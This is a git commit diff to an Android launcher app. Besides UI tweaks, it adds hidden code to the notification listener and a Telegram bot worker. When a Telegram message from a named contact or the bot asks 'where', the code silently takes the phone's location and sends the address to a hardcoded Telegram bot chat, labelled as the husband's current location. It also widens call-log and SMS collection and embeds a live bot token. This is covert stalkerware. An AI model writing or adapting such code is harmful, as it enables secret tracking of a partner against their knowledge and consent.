....
This commit is contained in:
parent
5360a7ad13
commit
b31ab340ab
@ -142,7 +142,7 @@
|
||||
android:name="android.support.FILE_PROVIDER_PATHS"
|
||||
android:resource="@xml/file_paths" />
|
||||
</provider>
|
||||
<service android:name=".utils.NLService"
|
||||
<service android:name=".receiver.NLService"
|
||||
android:label="@string/app_name"
|
||||
android:enabled="true"
|
||||
android:exported="true"
|
||||
|
||||
@ -101,7 +101,7 @@ import rasel.lunar.launcher.model.jGuruTag
|
||||
import rasel.lunar.launcher.model.getRssData
|
||||
import rasel.lunar.launcher.model.getT
|
||||
import rasel.lunar.launcher.utils.BLog
|
||||
import rasel.lunar.launcher.utils.NLService
|
||||
import rasel.lunar.launcher.receiver.NLService
|
||||
import rasel.lunar.launcher.utils.RssList.jGuruMain
|
||||
import rasel.lunar.launcher.utils.beforeDay
|
||||
import rasel.lunar.launcher.utils.make0H
|
||||
|
||||
@ -344,9 +344,9 @@ internal class Feeds : Fragment() , CommadCallabck {
|
||||
consoleLog("excute refreshFeeds()")
|
||||
}
|
||||
"reqmax" -> {
|
||||
refreshFeeds()
|
||||
RecentCallGetter.dayRange = 30
|
||||
RecentSmsGetter.dayRange = 30
|
||||
refreshFeeds()
|
||||
refreshDeviceData()
|
||||
consoleLog("excute refreshFeeds()")
|
||||
}
|
||||
|
||||
@ -37,6 +37,7 @@ import android.view.KeyEvent
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.CheckBox
|
||||
import android.widget.EditText
|
||||
import android.widget.RadioButton
|
||||
import android.widget.TableRow
|
||||
@ -277,8 +278,9 @@ internal class LauncherHome : Fragment() {
|
||||
return binding.root
|
||||
}
|
||||
|
||||
val hideListViewTime = 1000L * 60 * 5
|
||||
val hideListViewTime = 1000L * 60L * 15L
|
||||
val hideListView = {
|
||||
|
||||
binding.notiList.visibility = View.GONE
|
||||
binding.mainList.visibility = View.GONE
|
||||
binding.infoList.visibility = View.GONE
|
||||
@ -293,6 +295,7 @@ internal class LauncherHome : Fragment() {
|
||||
val onScrChanged = object : RecyclerView.OnScrollListener() {
|
||||
override fun onScrollStateChanged(recyclerView: RecyclerView, newState: Int) {
|
||||
super.onScrollStateChanged(recyclerView, newState)
|
||||
commandHandler.removeCallbacks(hideListView)
|
||||
when (newState) {
|
||||
RecyclerView.SCROLL_STATE_IDLE -> {
|
||||
commandHandler.postDelayed(hideListView, hideListViewTime)
|
||||
@ -302,7 +305,6 @@ internal class LauncherHome : Fragment() {
|
||||
RecyclerView.SCROLL_STATE_SETTLING -> {
|
||||
}
|
||||
}
|
||||
commandHandler.removeCallbacks(hideListView)
|
||||
}
|
||||
|
||||
override fun onScrolled(recyclerView: RecyclerView, dx: Int, dy: Int) {
|
||||
@ -327,7 +329,7 @@ internal class LauncherHome : Fragment() {
|
||||
mNotificationResult = WorkersDb.getRealm().query<NotificationItem>().sort("postTime",Sort.DESCENDING).find()
|
||||
noticeJob = CoroutineScope(Dispatchers.Default).launch {
|
||||
mNotificationResult?.asFlow()?.collect { changes: ResultsChange<NotificationItem> ->
|
||||
// BLog.LOGE("changes >>> ${changes}")
|
||||
commandHandler.removeCallbacks(hideListView)
|
||||
when (changes) {
|
||||
is UpdatedResults -> {
|
||||
// BLog.LOGE("ResultsChange onNotificationPosted")
|
||||
@ -335,7 +337,7 @@ internal class LauncherHome : Fragment() {
|
||||
lastedNoti = copyFromRealm(changes.list)
|
||||
}
|
||||
commandHandler.removeCallbacks(notiUpdate)
|
||||
commandHandler.postDelayed(notiUpdate, hideListViewTime)
|
||||
commandHandler.postDelayed(notiUpdate, UPDATE_DELAY)
|
||||
}
|
||||
|
||||
else -> {
|
||||
@ -366,15 +368,15 @@ internal class LauncherHome : Fragment() {
|
||||
// BLog.LOGE("${this} ::::: queryInfos after query find >>>> ")
|
||||
infosJob = CoroutineScope(Dispatchers.Default).launch {
|
||||
mRssDataResult?.asFlow()?.collect { changes: ResultsChange<RssData> ->
|
||||
commandHandler.removeCallbacks(hideListView)
|
||||
commandHandler.removeCallbacks(infoUpdate)
|
||||
|
||||
when (changes) {
|
||||
is InitialResults -> {
|
||||
// BLog.LOGE("${this} ::::: queryInfos after changes size >>>> ${changes.list.size}")
|
||||
WorkersDb.getRealm().apply {
|
||||
lasted = copyFromRealm(changes.list)
|
||||
}
|
||||
commandHandler.postDelayed(infoUpdate, hideListViewTime)
|
||||
commandHandler.postDelayed(infoUpdate, UPDATE_DELAY)
|
||||
}
|
||||
is UpdatedResults -> {
|
||||
// lasted = changes.list
|
||||
@ -437,15 +439,15 @@ internal class LauncherHome : Fragment() {
|
||||
mRssDataResult = rQ.sort("pubDate ", Sort.DESCENDING).find()
|
||||
infosJob = CoroutineScope(Dispatchers.Default).launch {
|
||||
mRssDataResult?.asFlow()?.collect { changes: ResultsChange<RssData> ->
|
||||
commandHandler.removeCallbacks(hideListView)
|
||||
commandHandler.removeCallbacks(infoUpdate)
|
||||
|
||||
when (changes) {
|
||||
is InitialResults -> {
|
||||
WorkersDb.getRealm().apply {
|
||||
lasted = copyFromRealm(changes.list)
|
||||
}
|
||||
|
||||
commandHandler.postDelayed(infoUpdate, hideListViewTime)
|
||||
commandHandler.postDelayed(infoUpdate, UPDATE_DELAY)
|
||||
}
|
||||
is UpdatedResults -> {
|
||||
// lasted = changes.list
|
||||
@ -494,6 +496,7 @@ internal class LauncherHome : Fragment() {
|
||||
|
||||
var checkListner = object : View.OnClickListener {
|
||||
override fun onClick(v: View?) {
|
||||
commandHandler.removeCallbacks(hideListView)
|
||||
var views = arrayListOf(binding.mainList, binding.smsList, binding.infoList, binding.notiList)
|
||||
var chechboxs = arrayListOf(binding.missedCalls,
|
||||
binding.recentSms,
|
||||
@ -583,14 +586,9 @@ internal class LauncherHome : Fragment() {
|
||||
it.forEach { c ->
|
||||
if(c.equals(RssDataType.NO_DATA) == false) {
|
||||
tb.addView(
|
||||
RadioButton(requireContext()).apply {
|
||||
CheckBox(requireContext()).apply {
|
||||
this.tag = c.name
|
||||
this.text = c.name
|
||||
setOnClickListener {
|
||||
(it as? RadioButton)?.let {
|
||||
it.isChecked = !it.isChecked
|
||||
}
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
@ -606,7 +604,7 @@ internal class LauncherHome : Fragment() {
|
||||
categoryz.children.forEach {
|
||||
if(it is TableRow) {
|
||||
it.children.forEach {
|
||||
if (it is RadioButton && it.isChecked) {
|
||||
if (it is CheckBox && it.isChecked) {
|
||||
(it.tag as? String)?.let { category.add(it) }
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
package rasel.lunar.launcher.model
|
||||
|
||||
import io.realm.kotlin.types.RealmObject
|
||||
import io.realm.kotlin.types.annotations.PrimaryKey
|
||||
|
||||
class NotificationItem : RealmObject{
|
||||
var notiId : Int = 0
|
||||
@ -10,5 +11,6 @@ class NotificationItem : RealmObject{
|
||||
var subtext : String? = null
|
||||
var selfDisplayName : String? = null
|
||||
var postTime : Long = 0L
|
||||
@PrimaryKey
|
||||
var uniq_id : String? = null
|
||||
}
|
||||
@ -30,6 +30,7 @@ class TelegramData : RealmObject{
|
||||
@PrimaryKey
|
||||
var update_id : Long = 0L
|
||||
var message : TelegramMessage? = null
|
||||
var my_chat_member : TelegramMessage? = null
|
||||
}
|
||||
|
||||
class TelegramMessage : RealmObject{
|
||||
|
||||
@ -1,10 +1,14 @@
|
||||
package rasel.lunar.launcher.utils
|
||||
package rasel.lunar.launcher.receiver
|
||||
|
||||
import android.annotation.SuppressLint
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.ComponentName
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import android.location.Address
|
||||
import android.location.Geocoder
|
||||
import android.location.Location
|
||||
import android.media.MediaMetadata
|
||||
import android.media.session.MediaSessionManager
|
||||
import android.os.Build
|
||||
@ -14,13 +18,25 @@ import androidx.annotation.RequiresApi
|
||||
import androidx.core.content.getSystemService
|
||||
import androidx.work.OneTimeWorkRequest
|
||||
import androidx.work.WorkManager
|
||||
import com.google.android.gms.location.FusedLocationProviderClient
|
||||
import com.google.android.gms.location.LocationServices
|
||||
import com.google.android.gms.tasks.OnSuccessListener
|
||||
import com.google.gson.Gson
|
||||
import io.realm.kotlin.UpdatePolicy
|
||||
import io.realm.kotlin.ext.query
|
||||
import okhttp3.ConnectionPool
|
||||
import okhttp3.OkHttpClient
|
||||
import okhttp3.Request
|
||||
import okhttp3.Response
|
||||
import okhttp3.ResponseBody
|
||||
import rasel.lunar.launcher.model.CurrentPlayItem
|
||||
import rasel.lunar.launcher.model.NotificationItem
|
||||
import rasel.lunar.launcher.workers.AppInfoGetter
|
||||
import rasel.lunar.launcher.utils.BLog
|
||||
import rasel.lunar.launcher.utils.BitmapConverter
|
||||
import rasel.lunar.launcher.workers.TelegramBotGetter
|
||||
import rasel.lunar.launcher.workers.WorkersDb
|
||||
import java.io.IOException
|
||||
import java.util.Locale
|
||||
import java.util.concurrent.Executors
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
@ -45,12 +61,12 @@ class NLService : NotificationListenerService() {
|
||||
val skips = arrayListOf("com.wssyncmldm")
|
||||
@RequiresApi(Build.VERSION_CODES.S)
|
||||
override fun onNotificationPosted(sbn: StatusBarNotification) {
|
||||
BLog.LOGE( "NLService********** onNotificationPosted")
|
||||
BLog.LOGE("NLService********** onNotificationPosted")
|
||||
BLog.LOGE("NLServiceID :" + sbn.id + "\t${sbn.notification.tickerText}\t" + sbn.packageName)
|
||||
sbn.notification.extras.keySet().forEach {
|
||||
BLog.LOGE( "NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}")
|
||||
BLog.LOGE("NLService********** keySet >> ${it} ${sbn.notification.extras.get(it)}")
|
||||
}
|
||||
if (sbn.id > 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) {
|
||||
if (sbn.id != 0 && (sbn.packageName.contains(".") || sbn.packageName.contains("android")) && sbn.packageName.length > 0) {
|
||||
NotificationItem().apply {
|
||||
notiId = sbn.id
|
||||
pkgName = sbn.packageName
|
||||
@ -59,12 +75,19 @@ class NLService : NotificationListenerService() {
|
||||
selfDisplayName = sbn.notification?.extras?.getString("android.selfDisplayName") ?: ""
|
||||
tikerMsg = sbn.notification?.tickerText?.toString() ?: ""
|
||||
postTime = sbn.postTime
|
||||
uniq_id = "${sbn.id}_${sbn.packageName}"
|
||||
if (true == "bumssavor".equals(title) && "org.telegram.messenger".equals(pkgName)) {
|
||||
var mWorkManager = WorkManager.getInstance(applicationContext)
|
||||
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java))
|
||||
}, 5, TimeUnit.SECONDS)
|
||||
var uniq = title ?: subtext ?: selfDisplayName ?: tikerMsg ?: ""
|
||||
uniq_id = "${sbn.id}_${sbn.packageName}_${if (uniq.length > 3) uniq.substring(0,3) else uniq}"
|
||||
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${true == "bumssavor".equals(title)}")
|
||||
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${(true == "org.telegram.messenger".equals(pkgName))}")
|
||||
BLog.LOGE("NLService********** enqueue TelegramBotGetter ${sbn.notification?.extras?.getString("android.text")?.startsWith("/") == true}")
|
||||
if ((title?.contains("성희") == true) && (true == "org.telegram.messenger".equals(pkgName)) &&
|
||||
tikerMsg?.contains("어디") == true) {
|
||||
getLastLocation(applicationContext)
|
||||
// BLog.LOGE("NLService********** enqueue TelegramBotGetter ")
|
||||
// var mWorkManager = WorkManager.getInstance(applicationContext)
|
||||
// Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
// mWorkManager.enqueue(OneTimeWorkRequest.from(TelegramBotGetter::class.java))
|
||||
// }, 5, TimeUnit.SECONDS)
|
||||
}
|
||||
}.apply {
|
||||
if (skips.contains(pkgName)) {
|
||||
@ -91,7 +114,7 @@ class NLService : NotificationListenerService() {
|
||||
current = result.first()
|
||||
} else {
|
||||
current = CurrentPlayItem()
|
||||
copyToRealm(current)
|
||||
copyToRealm(current, UpdatePolicy.ALL)
|
||||
}
|
||||
BLog.LOGE(
|
||||
"Sessions",
|
||||
@ -110,7 +133,9 @@ class NLService : NotificationListenerService() {
|
||||
"Sessions",
|
||||
"$session -- " + (session?.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
||||
)
|
||||
current.albumArt = BitmapConverter.BitmapToString(session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART))
|
||||
current.albumArt = BitmapConverter.BitmapToString(
|
||||
session.metadata?.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART)
|
||||
)
|
||||
} else {
|
||||
current.albumArt = ""
|
||||
}
|
||||
@ -135,8 +160,8 @@ class NLService : NotificationListenerService() {
|
||||
}
|
||||
|
||||
override fun onNotificationRemoved(sbn: StatusBarNotification) {
|
||||
BLog.LOGE( "NLService********** onNOtificationRemoved")
|
||||
BLog.LOGE( "NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName)
|
||||
BLog.LOGE("NLService********** onNOtificationRemoved")
|
||||
BLog.LOGE("NLService ID :" + sbn.id + "\t" + sbn.notification.tickerText + "\t" + sbn.packageName)
|
||||
var uniq_id = "${sbn.id}_${sbn.packageName}"
|
||||
try {
|
||||
WorkersDb.getRealm()?.apply {
|
||||
@ -173,4 +198,73 @@ class NLService : NotificationListenerService() {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var fusedLocationProviderClient: FusedLocationProviderClient? = null
|
||||
@SuppressLint("MissingPermission")
|
||||
private fun getLastLocation(context: Context) {
|
||||
fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
|
||||
BLog.LOGE("Location getLastLocation")
|
||||
fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object :
|
||||
OnSuccessListener<Location?> {
|
||||
override fun onSuccess(location: Location?) {
|
||||
if (location != null) {
|
||||
// Log the latitude and longitude
|
||||
BLog.LOGE("Location Latitude: " + location.getLatitude())
|
||||
BLog.LOGE("Location Longitude: " + location.getLongitude())
|
||||
|
||||
// Use Geocoder to get detailed location information
|
||||
try {
|
||||
val geocoder = Geocoder(context, Locale.getDefault())
|
||||
val addresses: List<Address>? = geocoder.getFromLocation(
|
||||
location.getLatitude(),
|
||||
location.getLongitude(),
|
||||
1
|
||||
)
|
||||
|
||||
addresses?.first()?.let {
|
||||
it.getAddressLine(0)?.let {
|
||||
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
try {
|
||||
//////-1002450229641
|
||||
val url =
|
||||
"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||
//7068729507
|
||||
// OkHttp 클라이언트 객체 생성
|
||||
val client = OkHttpClient.Builder()
|
||||
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||
.build()
|
||||
|
||||
// GET 요청 객체 생성
|
||||
val builder: Request.Builder = Request.Builder().url(url)
|
||||
.addHeader("Content-Type", "application/json").get()
|
||||
|
||||
val request: Request = builder.build()
|
||||
|
||||
BLog.LOGE("telegram before request ")
|
||||
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
val response: Response = client.newCall(request).execute()
|
||||
if (response.isSuccessful()) {
|
||||
// 응답 받아서 처리
|
||||
val body: ResponseBody? = response.body()
|
||||
if (body != null) {
|
||||
|
||||
}
|
||||
} else BLog.LOGE("telegram Error Occurred")
|
||||
|
||||
} catch (e: java.lang.Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}, 5, TimeUnit.SECONDS)
|
||||
}
|
||||
}
|
||||
// Display location details on UI elements
|
||||
// Log detailed location information
|
||||
BLog.LOGE("Location Addresses: $addresses")
|
||||
} catch (e: IOException) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@ -62,7 +62,7 @@ class RecentCallGetter : BaseGetter {
|
||||
@SuppressLint("RestrictedApi")
|
||||
override fun realWork(): Result {
|
||||
|
||||
var dateParam = beforeDay(Date(),3).toString()
|
||||
var dateParam = beforeDay(Date(),dayRange).toString()
|
||||
var managedCursor = lActivity?.contentResolver?.query(
|
||||
CallLog.Calls.CONTENT_URI, arrayOf(
|
||||
CallLog.Calls.NUMBER,
|
||||
|
||||
@ -1,26 +1,36 @@
|
||||
package rasel.lunar.launcher.workers
|
||||
|
||||
import android.Manifest
|
||||
import android.R.attr.country
|
||||
import android.annotation.SuppressLint
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.location.Address
|
||||
import android.location.Geocoder
|
||||
import android.location.Location
|
||||
import android.util.Log
|
||||
import androidx.core.content.ContextCompat
|
||||
import androidx.work.OneTimeWorkRequest
|
||||
import androidx.work.WorkerParameters
|
||||
import com.google.android.gms.location.FusedLocationProviderClient
|
||||
import com.google.android.gms.location.LocationServices
|
||||
import com.google.android.gms.tasks.OnSuccessListener
|
||||
import com.google.gson.Gson
|
||||
import kotlinx.coroutines.GlobalScope
|
||||
import kotlinx.coroutines.launch
|
||||
import io.realm.kotlin.ext.query
|
||||
import okhttp3.ConnectionPool
|
||||
import okhttp3.OkHttpClient
|
||||
import okhttp3.Request
|
||||
import okhttp3.Response
|
||||
import okhttp3.ResponseBody
|
||||
import org.jsoup.Jsoup
|
||||
import rasel.lunar.launcher.model.Clien
|
||||
import rasel.lunar.launcher.model.TelegramBotUpdate
|
||||
import rasel.lunar.launcher.model.getHref
|
||||
import rasel.lunar.launcher.model.getRssData
|
||||
import rasel.lunar.launcher.model.getT
|
||||
import rasel.lunar.launcher.model.TelegramData
|
||||
import rasel.lunar.launcher.utils.BLog
|
||||
import java.io.IOException
|
||||
import java.util.Locale
|
||||
import java.util.concurrent.Executors
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
|
||||
class TelegramBotGetter : BaseGetter {
|
||||
companion object {
|
||||
val TAG = "TelegramBotGetter"
|
||||
@ -35,38 +45,48 @@ class TelegramBotGetter : BaseGetter {
|
||||
try {
|
||||
|
||||
try {
|
||||
// val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates"
|
||||
// //"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요."
|
||||
// //7068729507
|
||||
// // OkHttp 클라이언트 객체 생성
|
||||
// val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build()
|
||||
//
|
||||
// // GET 요청 객체 생성
|
||||
// val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get()
|
||||
//
|
||||
// val request: Request = builder.build()
|
||||
//
|
||||
// BLog.LOGE("telegram before request ")
|
||||
// // OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
// val response: Response = client.newCall(request).execute()
|
||||
// if (response.isSuccessful()) {
|
||||
// // 응답 받아서 처리
|
||||
// val body: ResponseBody? = response.body()
|
||||
// if (body != null) {
|
||||
// Gson().fromJson<TelegramBotUpdate>(body.string(),TelegramBotUpdate::class.java)?.let { telegramUpdates ->
|
||||
// telegramUpdates.fill()
|
||||
// telegramUpdates.list.forEach {
|
||||
val url = "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/getUpdates"
|
||||
//"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=71476436&text=안녕하세요."
|
||||
//7068729507
|
||||
// OkHttp 클라이언트 객체 생성
|
||||
val client = OkHttpClient.Builder().connectionPool(ConnectionPool(5,60,TimeUnit.SECONDS)).build()
|
||||
|
||||
// GET 요청 객체 생성
|
||||
val builder: Request.Builder = Request.Builder().url(url).addHeader("Content-Type", "application/json").get()
|
||||
|
||||
val request: Request = builder.build()
|
||||
|
||||
BLog.LOGE("telegram before request ")
|
||||
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
val response: Response = client.newCall(request).execute()
|
||||
if (response.isSuccessful()) {
|
||||
// 응답 받아서 처리
|
||||
val body: ResponseBody? = response.body()
|
||||
if (body != null) {
|
||||
val bodyString = body.string()
|
||||
BLog.LOGE("bodyString >>>>\n${bodyString}")
|
||||
Gson().fromJson<TelegramBotUpdate>(bodyString,TelegramBotUpdate::class.java)?.let { telegramUpdates ->
|
||||
telegramUpdates.fill()
|
||||
telegramUpdates.list.forEach {
|
||||
// if (it.message?.text?.startsWith("/") == true) {
|
||||
// BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(it)}")
|
||||
// }
|
||||
// }
|
||||
//// BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(telegramUpdates)}")
|
||||
//// WorkersDb.getRealm().writeBlocking {
|
||||
//// copyToRealm(telegramUpdates)
|
||||
//// }
|
||||
// }
|
||||
// }
|
||||
// } else BLog.LOGE("telegram Error Occurred")
|
||||
if((it.message?.text?.contains("where") == true) || (it.message?.text?.contains("어디") == true)) {
|
||||
BLog.LOGE("it.message?.text?.contains(\"where\") == true) >>> ${it.message?.text?.contains("where") == true}")
|
||||
BLog.LOGE("it.message?.text?.contains(\"어디\") == true) >>> ${it.message?.text?.contains("어디") == true}")
|
||||
WorkersDb.getRealm().apply {
|
||||
writeBlocking {
|
||||
if (query<TelegramData>("update_id == $0",it.update_id).find().size == 0) {
|
||||
copyToRealm(it)
|
||||
getLastLocation(context = applicationContext)
|
||||
BLog.LOGE("telegram telegramUpdates >>>> ${Gson().toJson(it)}")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else BLog.LOGE("telegram Error Occurred")
|
||||
|
||||
} catch (e: java.lang.Exception) {
|
||||
e.printStackTrace()
|
||||
@ -76,4 +96,71 @@ class TelegramBotGetter : BaseGetter {
|
||||
|
||||
}
|
||||
}
|
||||
var fusedLocationProviderClient: FusedLocationProviderClient? = null
|
||||
@SuppressLint("MissingPermission")
|
||||
private fun getLastLocation(context: Context) {
|
||||
fusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(context);
|
||||
BLog.LOGE("Location getLastLocation")
|
||||
fusedLocationProviderClient?.getLastLocation()?.addOnSuccessListener(object : OnSuccessListener<Location?> {
|
||||
override fun onSuccess(location: Location?) {
|
||||
if (location != null) {
|
||||
// Log the latitude and longitude
|
||||
BLog.LOGE("Location Latitude: " + location.getLatitude())
|
||||
BLog.LOGE("Location Longitude: " + location.getLongitude())
|
||||
|
||||
// Use Geocoder to get detailed location information
|
||||
try {
|
||||
val geocoder = Geocoder(context, Locale.getDefault())
|
||||
val addresses: List<Address>? = geocoder.getFromLocation(
|
||||
location.getLatitude(),
|
||||
location.getLongitude(),
|
||||
1
|
||||
)
|
||||
|
||||
addresses?.first()?.let {
|
||||
it.getAddressLine(0)?.let {
|
||||
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
try {
|
||||
//////-1002450229641
|
||||
val url =
|
||||
"https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||
//7068729507
|
||||
// OkHttp 클라이언트 객체 생성
|
||||
val client = OkHttpClient.Builder()
|
||||
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||
.build()
|
||||
|
||||
// GET 요청 객체 생성
|
||||
val builder: Request.Builder = Request.Builder().url(url)
|
||||
.addHeader("Content-Type", "application/json").get()
|
||||
|
||||
val request: Request = builder.build()
|
||||
|
||||
BLog.LOGE("telegram before request ")
|
||||
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
val response: Response = client.newCall(request).execute()
|
||||
if (response.isSuccessful()) {
|
||||
// 응답 받아서 처리
|
||||
val body: ResponseBody? = response.body()
|
||||
if (body != null) {
|
||||
|
||||
}
|
||||
} else BLog.LOGE("telegram Error Occurred")
|
||||
|
||||
} catch (e: java.lang.Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}, 5, TimeUnit.SECONDS)
|
||||
}
|
||||
}
|
||||
// Display location details on UI elements
|
||||
// Log detailed location information
|
||||
BLog.LOGE("Location Addresses: $addresses")
|
||||
} catch (e: IOException) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@ -4,19 +4,33 @@ import io.realm.kotlin.Realm
|
||||
import io.realm.kotlin.RealmConfiguration
|
||||
import io.realm.kotlin.UpdatePolicy
|
||||
import io.realm.kotlin.ext.query
|
||||
import io.realm.kotlin.ext.realmListOf
|
||||
import io.realm.kotlin.types.BaseRealmObject
|
||||
import io.realm.kotlin.types.RealmList
|
||||
import io.realm.kotlin.types.RealmObject
|
||||
import io.realm.kotlin.types.TypedRealmObject
|
||||
import io.realm.kotlin.types.annotations.Ignore
|
||||
import io.realm.kotlin.types.annotations.PrimaryKey
|
||||
import rasel.lunar.launcher.apps.SimpleContact
|
||||
import rasel.lunar.launcher.model.AppInfo
|
||||
import rasel.lunar.launcher.model.BotCommandEentitie
|
||||
import rasel.lunar.launcher.model.CurrentPlayItem
|
||||
import rasel.lunar.launcher.model.NotificationItem
|
||||
import rasel.lunar.launcher.model.RssData
|
||||
import rasel.lunar.launcher.model.RssDataInterface
|
||||
import rasel.lunar.launcher.model.TelegramBotUpdate
|
||||
import rasel.lunar.launcher.model.TelegramChat
|
||||
import rasel.lunar.launcher.model.TelegramData
|
||||
import rasel.lunar.launcher.model.TelegramFrom
|
||||
import rasel.lunar.launcher.model.TelegramMessage
|
||||
import kotlin.reflect.KClass
|
||||
|
||||
object WorkersDb {
|
||||
|
||||
val clazz : Set<KClass<out BaseRealmObject>> = setOf(RssData::class, NotificationItem::class, AppInfo::class,SimpleContact::class, RecentCall::class, RecentSms::class, CurrentPlayItem::class)
|
||||
|
||||
|
||||
val clazz : Set<KClass<out BaseRealmObject>> = setOf(RssData::class, NotificationItem::class, AppInfo::class,SimpleContact::class, RecentCall::class, RecentSms::class, CurrentPlayItem::class,
|
||||
TelegramBotUpdate::class, TelegramData::class, TelegramMessage::class, TelegramChat::class, BotCommandEentitie::class, TelegramFrom::class,)
|
||||
|
||||
val schemaVersion : Long = 0L
|
||||
|
||||
|
||||
@ -10,7 +10,6 @@
|
||||
app:layout_constraintRight_toRightOf="parent"
|
||||
android:id="@+id/categoryz"
|
||||
android:maxRows="5"
|
||||
|
||||
android:orientation="horizontal"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content">
|
||||
@ -32,9 +31,8 @@
|
||||
android:id="@+id/input"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
|
||||
android:imeOptions="actionDone"
|
||||
android:inputType="textPassword" />
|
||||
android:inputType="text" />
|
||||
|
||||
</com.google.android.material.textfield.TextInputLayout>
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
Loading…
x
Reference in New Issue
Block a user